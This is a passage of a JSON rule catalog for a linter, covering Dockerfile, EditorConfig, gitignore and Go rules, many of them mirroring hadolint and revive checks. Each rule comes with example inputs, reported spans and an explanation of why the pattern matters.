      "why": "`cd` changes the directory for that one `RUN`; the next instruction starts again in the `WORKDIR`, so it is easy to believe you are in a directory you are not in.\n\n`WORKDIR` states the directory once, creates it when it is missing, and applies to every later `RUN`, `CMD`, `ENTRYPOINT`, `COPY` and `ADD`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `wget` call that does not limit its progress output. It has none of `--progress`, `-q` or `--quiet`, `-nv` or `--no-verbose`, `-o` or `--output-file`, `-a` or `--append-output`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:3\nRUN sudo make install\nRUN cd /app && make\nRUN service nginx start\nRUN apt update\nRUN wget https://example.com/f\nRUN wget -q https://example.com/f\nRUN ln -sf /bin/bash /bin/sh\nRUN echo sudo cd ps\nRUN make && \\\n    sudo make install\nRUN v=$(sudo make) && echo \"$(wget https://example.com/f)\"\nONBUILD RUN sudo make\nRUN [\"sudo\", \"make\"]\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          3,
          4,
          5,
          8,
          10,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 30,
            "line": 6
          },
          {
            "column": 1,
            "length": 58,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "wget-progress",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3047",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3047"
        }
      ],
      "why": "By default wget draws a progress bar. A build is not a terminal, so each update is logged as a line of its own, and a large download adds thousands of lines to the build log. The log gets hard to read and CI logs reach their size limits.\n\n`--progress=dot:giga`, `-nv` or `-q` keep the output short."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `WORKDIR` with a relative path. A path is absolute when it starts with `/`, a drive letter (`C:`) or a variable (`$HOME`, `${DIR}/x`). Quotes around the path make no difference, and a relative path is reported also after an absolute `WORKDIR`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          9,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 11,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "workdir-absolute",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3000",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3000"
        }
      ],
      "why": "A relative `WORKDIR` is resolved against the previous `WORKDIR`, or against the one of the base image, which you may not control. Adding an instruction or changing the base image then moves the directory without any sign in this line. An absolute path always means the same place."
    },
    {
      "category": "performance",
      "default_level": "off",
      "description": "Reports a `RUN` that installs with yum and does not clean the cache. It runs `yum install` and has no `yum clean all` after it in the same `RUN`. An `rm -rf /var/cache/yum/*` written exactly so is accepted as well.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM fedora:40\nRUN yum install curl\nRUN yum install -y curl-7.0 && yum clean all\nRUN yum install -y curl-7.0 && rm -rf /var/cache/yum/*\nRUN yum install -y nginx-1.2 && yum clean all\nRUN dnf install curl\nRUN dnf install -y curl-7.0\nRUN dnf install -y curl-7.0 && dnf clean all\nRUN microdnf install -y curl-7.0\nRUN dnf install -y ./a.rpm && dnf clean all\nRUN zypper install curl\nRUN zypper install -y curl=7.0 && zypper clean\nRUN zypper install -y curl\nRUN zypper dist-upgrade\nRUN zypper -n in curl=1 && zypper cc\n",
        "language": "dockerfile",
        "other_lines": [
          6,
          7,
          9,
          10,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 20,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "yum-clean",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3032",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3032"
        }
      ],
      "why": "`yum install` stores the metadata and packages it downloaded under `/var/cache/yum`. That cache is written into the layer and stays in the image, adding size that nothing uses at run time.\n\nClean it in the same `RUN`: a later `RUN` cannot shrink a layer that was already written."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `yum install`, `yum groupinstall` or `yum localinstall` without `-y` or `--assumeyes`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM fedora:40\nRUN yum install curl\nRUN yum install -y curl-7.0 && yum clean all\nRUN yum install -y curl-7.0 && rm -rf /var/cache/yum/*\nRUN yum install -y nginx-1.2 && yum clean all\nRUN dnf install curl\nRUN dnf install -y curl-7.0\nRUN dnf install -y curl-7.0 && dnf clean all\nRUN microdnf install -y curl-7.0\nRUN dnf install -y ./a.rpm && dnf clean all\nRUN zypper install curl\nRUN zypper install -y curl=7.0 && zypper clean\nRUN zypper install -y curl\nRUN zypper dist-upgrade\nRUN zypper -n in curl=1 && zypper cc\n",
        "language": "dockerfile",
        "other_lines": [
          6,
          7,
          9,
          10,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 20,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "yum-yes",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3030",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3030"
        }
      ],
      "why": "Before it installs, yum asks `Is this ok [y/N]`. A build has no terminal to answer, so yum reads the missing answer as no, exits with an error, and the `RUN` fails."
    },
    {
      "category": "performance",
      "default_level": "off",
      "description": "Reports a `RUN` that installs with zypper and does not clean the cache. It runs `zypper install` (`in`) and has no `zypper clean` or `zypper cc` after it in the same `RUN`. A `RUN` with a `--mount` of type `cache` or `tmpfs` on `/var/cache/zypp` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM fedora:40\nRUN yum install curl\nRUN yum install -y curl-7.0 && yum clean all\nRUN yum install -y curl-7.0 && rm -rf /var/cache/yum/*\nRUN yum install -y nginx-1.2 && yum clean all\nRUN dnf install curl\nRUN dnf install -y curl-7.0\nRUN dnf install -y curl-7.0 && dnf clean all\nRUN microdnf install -y curl-7.0\nRUN dnf install -y ./a.rpm && dnf clean all\nRUN zypper install curl\nRUN zypper install -y curl=7.0 && zypper clean\nRUN zypper install -y curl\nRUN zypper dist-upgrade\nRUN zypper -n in curl=1 && zypper cc\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          6,
          7,
          9,
          10,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 23,
            "line": 11
          },
          {
            "column": 1,
            "length": 26,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "zypper-clean",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3036",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3036"
        }
      ],
      "why": "`zypper install` stores the metadata and packages it downloaded under `/var/cache/zypp`. That cache is written into the layer and stays in the image, adding size that nothing uses at run time.\n\nClean it in the same `RUN`: a later `RUN` cannot shrink a layer that was already written."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `zypper dist-upgrade` (or `dup`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM fedora:40\nRUN yum install curl\nRUN yum install -y curl-7.0 && yum clean all\nRUN yum install -y curl-7.0 && rm -rf /var/cache/yum/*\nRUN yum install -y nginx-1.2 && yum clean all\nRUN dnf install curl\nRUN dnf install -y curl-7.0\nRUN dnf install -y curl-7.0 && dnf clean all\nRUN microdnf install -y curl-7.0\nRUN dnf install -y ./a.rpm && dnf clean all\nRUN zypper install curl\nRUN zypper install -y curl=7.0 && zypper clean\nRUN zypper install -y curl\nRUN zypper dist-upgrade\nRUN zypper -n in curl=1 && zypper cc\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          6,
          7,
          9,
          10,
          11,
          13
        ],
        "spans": [
          {
            "column": 1,
            "length": 23,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "zypper-no-dist-upgrade",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3035",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3035"
        }
      ],
      "why": "A distribution upgrade moves every package to the newest version of the enabled repositories, possibly into a new distribution release. The image is then no longer the release that the base image's tag names, and two builds can end in different states.\n\nUse `zypper update` to apply fixes within the release, or move to a newer base image."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `zypper install` (`in`) of a package without a version. A package is pinned when its name has `=`, `<` or `>` (`curl=7.88.1`) or when it is a `.rpm` file.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM fedora:40\nRUN yum install curl\nRUN yum install -y curl-7.0 && yum clean all\nRUN yum install -y curl-7.0 && rm -rf /var/cache/yum/*\nRUN yum install -y nginx-1.2 && yum clean all\nRUN dnf install curl\nRUN dnf install -y curl-7.0\nRUN dnf install -y curl-7.0 && dnf clean all\nRUN microdnf install -y curl-7.0\nRUN dnf install -y ./a.rpm && dnf clean all\nRUN zypper install curl\nRUN zypper install -y curl=7.0 && zypper clean\nRUN zypper install -y curl\nRUN zypper dist-upgrade\nRUN zypper -n in curl=1 && zypper cc\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          6,
          7,
          9,
          10,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 23,
            "line": 11
          },
          {
            "column": 1,
            "length": 26,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "zypper-pin-versions",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3037",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3037"
        }
      ],
      "why": "An unpinned install takes the newest version in the enabled repositories on the day of the build. Two builds of one Dockerfile can then differ, and a new release can break the image without any change in your code.\n\nPinned versions make the build repeatable. Repositories drop old versions, so a pin needs updating from time to time."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `zypper` command that asks for confirmation. That is `install` (`in`), `remove` (`rm`), `source-install` (`si`) or `patch` without `-n`, `--non-interactive`, `--no-confirm` or `-y`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM fedora:40\nRUN yum install curl\nRUN yum install -y curl-7.0 && yum clean all\nRUN yum install -y curl-7.0 && rm -rf /var/cache/yum/*\nRUN yum install -y nginx-1.2 && yum clean all\nRUN dnf install curl\nRUN dnf install -y curl-7.0\nRUN dnf install -y curl-7.0 && dnf clean all\nRUN microdnf install -y curl-7.0\nRUN dnf install -y ./a.rpm && dnf clean all\nRUN zypper install curl\nRUN zypper install -y curl=7.0 && zypper clean\nRUN zypper install -y curl\nRUN zypper dist-upgrade\nRUN zypper -n in curl=1 && zypper cc\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          6,
          7,
          9,
          10,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 23,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "zypper-yes",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3034",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3034"
        }
      ],
      "why": "zypper asks for confirmation before it changes packages and, when there is a conflict, which solution to take. A build has no terminal to answer, so the command cannot continue and the `RUN` fails.\n\n`--non-interactive` makes zypper take the default answer to every question."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a known EditorConfig or .NET property that has a value it does not accept (`indent_style = tabs`, `dotnet_diagnostic.CA1000.severity = high`). Values are case-insensitive, `unset` is always valid, and .NET code-style options may end in `:silent`, `:suggestion`, `:warning` or `:error`, which formatting options may not. A trailing `# comment` is ignored. Unknown properties are not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "indent_style = tabs\nindent_style = Tab\nindent_size = four\nindent_size = 4\nindent_size = TAB\nindent_size = 4 # four\nindent_size = four ; words\nindent_size = unset\ntab_width =\nmax_line_length = off\ncharset = \"utf-8-bom\"\ntrim_trailing_whitespace = yes\nend_of_line = LF\ndotnet_diagnostic.CA1000.severity = high\ndotnet_diagnostic.CA1000.severity = Warning\ndotnet_style_qualification_for_field = maybe:suggestion\ncsharp_style_var_elsewhere = true:suggestoin\ncsharp_style_var_elsewhere = true:suggestion\ncsharp_new_line_before_open_brace = all\ncsharp_new_line_before_open_brace = methods, types\ncsharp_new_line_before_open_brace = methods, typs\ncsharp_new_line_before_else = true:suggestion\ndotnet_naming_symbols.x.applicable_kinds = class, strukt\ndotnet_code_quality.CA1822.api_surface = anything, goes\nnot_a_known_property = whatever\n",
        "language": "editorconfig",
        "other_lines": [],
        "spans": [
          {
            "column": 16,
            "length": 4,
            "line": 1
          },
          {
            "column": 15,
            "length": 4,
            "line": 3
          },
          {
            "column": 15,
            "length": 12,
            "line": 7
          },
          {
            "column": 1,
            "length": 9,
            "line": 9
          },
          {
            "column": 11,
            "length": 11,
            "line": 11
          },
          {
            "column": 28,
            "length": 3,
            "line": 12
          },
          {
            "column": 37,
            "length": 4,
            "line": 14
          },
          {
            "column": 40,
            "length": 16,
            "line": 16
          },
          {
            "column": 30,
            "length": 15,
            "line": 17
          },
          {
            "column": 37,
            "length": 13,
            "line": 21
          },
          {
            "column": 31,
            "length": 15,
            "line": 22
          },
          {
            "column": 44,
            "length": 13,
            "line": 23
          }
        ]
      },
      "fix": null,
      "id": "invalid-property-value",
      "languages": [
        "editorconfig"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "An editor ignores a value it does not know, so the setting silently has no effect (`indent_style = tabs` does not select tabs). The file looks right and the code is formatted another way.\n\nTo fix, use a value that the property accepts; the message names the closest one."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `root` property inside a section. `root` stops the search for parent `.editorconfig` files only as a pair before the first `[section]`; inside a section editors ignore it. No fix: moving it into the preamble is the author's call.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "root = true\n\n[*.cs]\nindent_size = 4\nRoot = true\n[*.vb]\nrooted = true\n",
        "language": "editorconfig",
        "other_lines": [
          7
        ],
        "spans": [
          {
            "column": 1,
            "length": 11,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "root-in-section",
      "languages": [
        "editorconfig"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "The author meant to stop the search at this file, but it does nothing, so settings of the parent directories keep applying, and the files are formatted differently from what the file says.\n\nTo fix, put `root = true` above the first section."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a property name that is not an EditorConfig or .NET property (`dotnet_*`, `csharp_*`, `visual_basic_*`, naming rules, `dotnet_diagnostic.<ID>.severity`) but is one typo away from one. Names of other tools (`resharper_*`, `ij_*`) are not reported. The option `strict` also reports `dotnet_*`, `csharp_*` and `visual_basic_*` names that are close to no known property. The known names are in `crates/lang-editorconfig/data/properties.txt`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "[*.cs]\nindent_syle = space\nINDENT_STYLE = space\ndotnet_style_qualification_for_feild = false:suggestion\ncsharp_new_line_befor_open_brace = all\ndotnet_diagnostic.CA1000.sevrity = none\ndotnet_naming_rule.types.symbol = types\ndotnet_diagnostic.CA1000.severity = none\ndotnet_naming_style.pascal.capitalization = pascal_case\nresharper_apply_auto_detected_rules = false\nij_formatter_enabled = true\ndotnet_a_new_option_nothing_like_any = true\n",
        "language": "editorconfig",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 11,
            "line": 2
          },
          {
            "column": 1,
            "length": 36,
            "line": 4
          },
          {
            "column": 1,
            "length": 32,
            "line": 5
          },
          {
            "column": 1,
            "length": 32,
            "line": 6
          },
          {
            "column": 1,
            "length": 31,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "unknown-property",
      "languages": [
        "editorconfig"
      ],
      "options": [
        {
          "default": false,
          "description": "Also report `dotnet_*`, `csharp_*` and `visual_basic_*` names that are close to no known property (the list may lag behind new .NET options).",
          "name": "strict",
          "type": "bool"
        }
      ],
      "presets": [],
      "upstream": [],
      "why": "A misspelled property is not an error to an editor, which ignores what it does not know, so the setting silently does nothing and a reader assumes it works.\n\nTo fix, correct the name; the message names the closest one."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a pattern with a backslash before a letter, digit, `_` or `-` (`build\\out`), which is the pattern `buildout`. `\\.` and `\\#` are ordinary escapes and are not reported. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "build\\out\n\\#file\nfoo\\.bar\n",
        "language": "gitignore",
        "other_lines": [],
        "spans": [
          {
            "column": 6,
            "length": 2,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "backslash-separator",
      "languages": [
        "gitignore"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "In a pattern file `\\` escapes the next character, it does not separate paths as on Windows, so the pattern matches something other than the path the author wrote, and the files stay in version control or in the build context.\n\nTo fix, write `/`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a pattern line with a ` #` after the pattern. Files of this syntax have no end-of-line comments: `*.log # logs` is a pattern for a file name with spaces and a `#`, which matches nothing. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "*.log # logs\n# a # b\nname#x\ndist/\n",
        "language": "gitignore",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 12,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "inline-comment",
      "languages": [
        "gitignore"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "The line looks like a pattern with a comment, but the whole text is the pattern, so the files the author wants to ignore are not ignored.\n\nTo fix, put the comment on a line of its own above the pattern."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `!` pattern for a path whose parent directory is excluded by an earlier pattern (`!a/b` after `a/`). Only literal paths are checked. In `.dockerignore`, where the later pattern wins, it is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "node_modules/\n!node_modules/keep.js\n/a/b\n!/a/b/c\n*.o\n!/lib/a.o\nvendor/\n!vendor/\n!vendor/x\nsrc/gen\n!other/src/gen/x\n",
        "language": "gitignore",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 2
          },
          {
            "column": 1,
            "length": 7,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "negation-of-excluded-parent",
      "languages": [
        "gitignore"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "Git does not look inside an excluded directory, so it cannot re-include a file in it, and the negation does nothing. The file stays ignored although the file seems to say otherwise.\n\nTo fix, exclude the contents instead of the directory (`a/*`), then add the negation."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a pattern that appears twice with no opposite pattern (`!x` for `x`) between the two, on the second.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "*.log\nbuild/\n*.log\n!keep.log\n!keep.log\n*.tmp\n!*.tmp\n*.tmp\n",
        "language": "gitignore",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 5,
            "line": 3
          },
          {
            "column": 1,
            "length": 9,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-pattern",
      "languages": [
        "gitignore"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "The second pattern changes nothing. It is a copy and paste leftover that makes the file longer, and a reader looks for what it adds.\n\nTo fix, delete the second pattern."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `foo/` or `/foo` pattern that follows a plain `foo`, with no `!` pattern between them: a name pattern already matches files and directories called `foo` at every level.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "build\n/build/\nout/\nbin\n!bin\nbin/\ndist/dir\n/dist/dir/\n",
        "language": "gitignore",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "redundant-pattern",
      "languages": [
        "gitignore"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "The later pattern adds nothing, and a reader may think it is more specific than the first.\n\nTo fix, delete the later pattern."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an exported function, method, type, constant or variable whose doc comment does not start with its name. A type may start with `A`, `An`, `The` or `This` before the name. The comment of a group in parentheses is the comment of its types, and a constant or variable in a group whose comment has text is not checked. Directive lines (`//go:generate`) and a first line `Deprecated: ` are not text. A declaration with no comment is left to `missing-doc-comment`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\n// Run does it.\nfunc Run() {}\n\n// does it.\nfunc Wrong() {}\n\n// wrong lowercase.\nfunc lower() {}\n\n//go:noinline\n// Pragma is fine.\nfunc Pragma() {}\n\n// A T is fine, with an article.\ntype T struct{}\n\n// The U is fine.\ntype U int\n\n// Other\ntype V int\n\n// X is the comment of the group.\ntype (\n    // W is fine.\n    W int\n    X int\n)\n\n// Constants.\nconst (\n    // other, not checked: the group has a comment.\n    C = 1\n    D = 2\n)\n\n// Wrong names a variable.\nvar E = 1\n\n// Method does it.\nfunc (T) Method() {}\n\n// does it.\nfunc (T) Other() {}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 11,
            "line": 6
          },
          {
            "column": 1,
            "length": 8,
            "line": 22
          },
          {
            "column": 1,
            "length": 26,
            "line": 39
          },
          {
            "column": 1,
            "length": 11,
            "line": 45
          }
        ]
      },
      "fix": null,
      "id": "doc-first-word",
      "languages": [
        "go"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "exported",
          "note": "No stuttering check (a name that starts with the package name), no own-declaration check for `var a, B`; a method that is sortable through methods in another file of the package is reported",
          "partial": true,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#exported"
        }
      ],
      "why": "`go doc` and the package pages show the first sentence of a comment as the summary of the name, and search and lists read it as \"Name does ...\". A comment that starts with another word makes that sentence read wrong in the generated documentation.\n\nTo fix, start the comment with the name: `// Run does things.`"
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "A package-level `var` of one name made by `errors.New` or `fmt.Errorf` starts with `err`, or `Err` when exported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nimport \"errors\"\n\nvar failed = errors.New(\"x\")\nvar Bad = errors.New(\"x\")\nvar errOK = errors.New(\"x\")\nvar ErrOK = fmt.Errorf(\"x\")\nvar _ = errors.New(\"x\")\nvar (\n\toops error = errors.New(\"x\")\n\tone, two     = errors.New(\"x\"), errors.New(\"y\")\n\tother        = other()\n)\n\nfunc f() {\n\tvar local = errors.New(\"x\")\n}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 24,
            "line": 5
          },
          {
            "column": 5,
            "length": 21,
            "line": 6
          },
          {
            "column": 2,
            "length": 28,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "error-naming",
      "languages": [
        "go"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "error-naming",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#error-naming"
        }
      ],
      "why": "A package-level error variable is a sentinel that callers compare against with `errors.Is`, and it is read from other packages. The `err` and `Err` prefixes make such variables recognizable at the use site and keep the exported ones apart from other exported names. It is a Go convention; nothing breaks without it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "The text of an error made with `fmt.Errorf`, `errors.New`, `errors.Errorf`, `errors.Wrap` and the like ends in `.`, `:`, `!` or a newline (a capital first letter is not reported). The text is the first argument, or the second of the functions that wrap an error (`errors.Wrap(err, \"failed.\")`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n)\n\nvar a = errors.New(\"failed.\")\nvar b = fmt.Errorf(\"failed: %w\", err)\nvar c = fmt.Errorf(\"failed:\")\nvar d = errors.Wrap(err, \"could not read!\")\nvar e = errors.New(\"line\\n\")\nvar f = errors.New(\"Capitalized\")\nvar g = errors.New(\"quoted \\\\n\")\nvar h = errors.New(`raw.`)\nvar i = errors.New(msg + \".\")\nvar j = log.Printf(\"failed.\")\nvar k = errors.New(\"\")\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 20,
            "length": 9,
            "line": 8
          },
          {
            "column": 20,
            "length": 9,
            "line": 10
          },
          {
            "column": 26,
            "length": 17,
            "line": 11
          },
          {
            "column": 20,
            "length": 8,
            "line": 12
          },
          {
            "column": 20,
            "length": 6,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "error-strings",
      "languages": [
        "go"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "error-strings",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#error-strings"
        }
      ],
      "why": "Error strings are joined into longer messages (`failed to open: ` plus the cause), so a full stop, colon, exclamation mark or newline at the end leaves a doubled or dangling mark in the result and in logs. The Go code review comments ask for messages without end punctuation."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "`errors.New(fmt.Sprintf(...))` is `fmt.Errorf(...)` (the `t.Error(fmt.Sprintf(...))` form on a `*testing.T` needs types and is not read).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nfunc f() {\n\t_ = errors.New(fmt.Sprintf(\"x %d\", 1))\n\t_ = errors.New(fmt.Sprint(\"x\"), 1)\n\t_ = errors.New(\"x\")\n\t_ = fmt.Errorf(\"x %d\", 1)\n\t_ = errors.New(fmt.Sprintf(\"x\") + \"y\")\n}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 6,
            "length": 34,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "errorf",
      "languages": [
        "go"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "errorf",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#errorf"
        }
      ],
      "why": "`fmt.Errorf` formats and wraps (`%w`) in one call, and `go vet` knows its format string. `errors.New(fmt.Sprintf(...))` formats a string first and then wraps it in an error, which is longer and cannot wrap another error with `%w`.\n\nTo fix, call `fmt.Errorf` with the same format and arguments."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "`x += 1` and `x -= 1`, where `x++` and `x--` say the same. Only the literal `1` counts. Left out of a language that has no `++`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nfunc f(x int, xs []int, m *map[string]int) {\n\tx += 1\n\tx -= 1\n\txs[0] += 1\n\t(*m)[\"k\"] += 1\n\tx += 2\n\tx += 01\n\tx *= 1\n\tfor i := 0; i < 3; i += 1 {\n\t}\n}\n\ntype U map[string]int\n\nfunc (s *U) M() error {\n\t(*s)[\"called\"] += 1\n\treturn nil\n}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 2,
            "length": 6,
            "line": 4
          },
          {
            "column": 2,
            "length": 6,
            "line": 5
          },
          {
            "column": 2,
            "length": 10,
            "line": 6
          },
          {
            "column": 2,
            "length": 14,
            "line": 7
          },
          {
            "column": 21,
            "length": 6,
            "line": 11
          },
          {
            "column": 2,
            "length": 19,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "increment-decrement",
      "languages": [
        "go",
        "js"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "increment-decrement",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#increment-decrement"
        }
      ],
      "why": "`x++` and `x--` are the short forms of `x += 1` and `x -= 1` and are what readers look for in a loop or a counter. Using one form everywhere makes counters easy to find. The rule is off by default because the long form is a valid style in some codebases."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "An `else` block after an `if` block that ends in `return`: the code of the `else` can follow the `if`. An `else if` is left alone.",
      "example": {
        "config": null,
        "fixed": null,
